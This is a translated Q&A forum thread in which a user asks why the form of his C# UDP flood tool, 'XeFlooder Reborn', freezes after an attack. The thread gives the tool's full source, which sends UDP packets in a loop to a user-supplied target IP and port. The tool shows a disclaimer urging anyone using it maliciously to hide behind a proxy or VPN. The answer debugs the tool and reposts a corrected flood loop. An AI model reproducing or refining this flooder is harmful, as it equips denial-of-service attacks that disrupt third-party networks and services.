UDP泛洪后表格冻结

时间:2013-09-10 00:45:46

标签: c# udp send freeze packet

我正在开发一个UDP Flooder,攻击结束后表格冻结......

所以它是如何工作的我有一个调用方法“startUDP”的按钮,目的是攻击一个目标(它做了),我在方法中创建了一个检查,检查攻击是否结束,如果是停止while循环。不幸的是,这并没有阻止程序冻结:/

感谢任何帮助!

到目前为止,这是我的代码:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.Threading;
using System.Windows.Forms;
using ComponentFactory.Krypton.Toolkit;

namespace XeFlooder_Reborn
{
    public partial class Form1 : ComponentFactory.Krypton.Toolkit.KryptonForm
    {
        int packets;
        int totalPackets;

        public Form1()
        {
            InitializeComponent();
        }

        private void udp_start_Click(object sender, EventArgs e)
        {
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 0/2...";
            //Thread.Sleep(100);
            packets = 0;
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 1/2...";
            //Thread.Sleep(100);
            totalPackets = Convert.ToInt32(udp_packets.Value);
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 2/2...";
            //Thread.Sleep(100);
            DebugLabel.Text = "Debugging Label - Calling attack method...";
            //Thread.Sleep(100);
            startUDP(true);
        }

        private void startUDP(bool attacking)
        {
            while(attacking)
            {
                DebugLabel.Text = "Debugging Label - Checking attack status...";
                //Thread.Sleep(100);
                if (packets < totalPackets)
                {
                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    //Increase counted packets by 1
                    packets++;
                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    //Update Progress Trackers
                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);

                    //Check if we have reached flood limit (if attack is over)
                    if (attacking && udp_progress_bar.Value == udp_progress_bar.Maximum)
                    {
                        //Let the user know our attack is finished
                        MessageBox.Show("Successful UDP Flood Finished!");

                        //Reset packet count
                        packets = 0;
                        totalPackets = 0;

                        //Turn off attack loop
                        attacking = false;
                    }
                }
            }
            while (!attacking)
            {
                DebugLabel.Text = "Debugging Label - Waiting for command...";
            }
        }

        private string GetMacAddress()
        {
            string macAddresses = string.Empty;
            foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (nic.OperationalStatus == OperationalStatus.Up)
                {
                    macAddresses += nic.GetPhysicalAddress().ToString();
                    break;
                }
            }
            return macAddresses;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            MessageBox.Show("The developers of XeFlooder (Reborn) are not responsible for what you do with this program, it was made for stress testing. If you choose to use this program for malicious purposes please do so while using a Proxy or a VPN. Enjoy...", "DISCLAIMER!");
            if (NetworkInterface.GetIsNetworkAvailable() != true)
            {
                MessageBox.Show("You need to be connected to the internet to use this program...\nNow exiting...");
                this.Close();
            }
            WebRequest request = WebRequest.Create("http://icanhazip.com/");
            WebResponse response = request.GetResponse();
            System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
            string IP = sr.ReadToEnd();
            IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
            info.Items.Add("Public IP Address: " + IP);
            foreach (IPAddress ip in host.AddressList)
            {
                if (ip.AddressFamily.ToString() == "InterNetwork")
                {
                    info.Items.Add("IPv4 Address: " + ip.ToString());
                }
            }
            info.Items.Add("Link Local Address: " + IPAddress.Broadcast);
            info.Items.Add("Machine Name: " + Dns.GetHostName());
            info.Items.Add("MAC Address: " + GetMacAddress());
        }
    }
}

1 个答案:

答案 0 :(得分:1)

我怀疑你的问题是,你的设置是攻击&#39;嵌套中的错误&#39; if&#39;块。因此,当外部块读取错误时(即,当数据包== totalPackets时),每个因素都被绕过并且“攻击”。永远不会被设置为false而你的while循环变得无限。

似乎将条件更改为if (packets <= totalPackets)会修复它。

无法真正复制您的问题,但这是一种略微不同的方式来做同样的事情,无法进行无限循环。这样一来,如果问题仍然存在,那就不是循环了。

       if(attacking)
        {
            //DebugLabel.Text = "Debugging Label - Checking attack status...";
            for (; packets <= totalPackets;packets++ )
            {              
                    //Thread.Sleep(100);

                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);
            }
            MessageBox.Show("Successful UDP Flood Finished!");

            //Reset packet count
            packets = 0;
            totalPackets = 0;

            //Turn off attack loop
            attacking = false;
        }
        if (!attacking)
        {
            DebugLabel.Text = "Debugging Label - Waiting for command...";
        }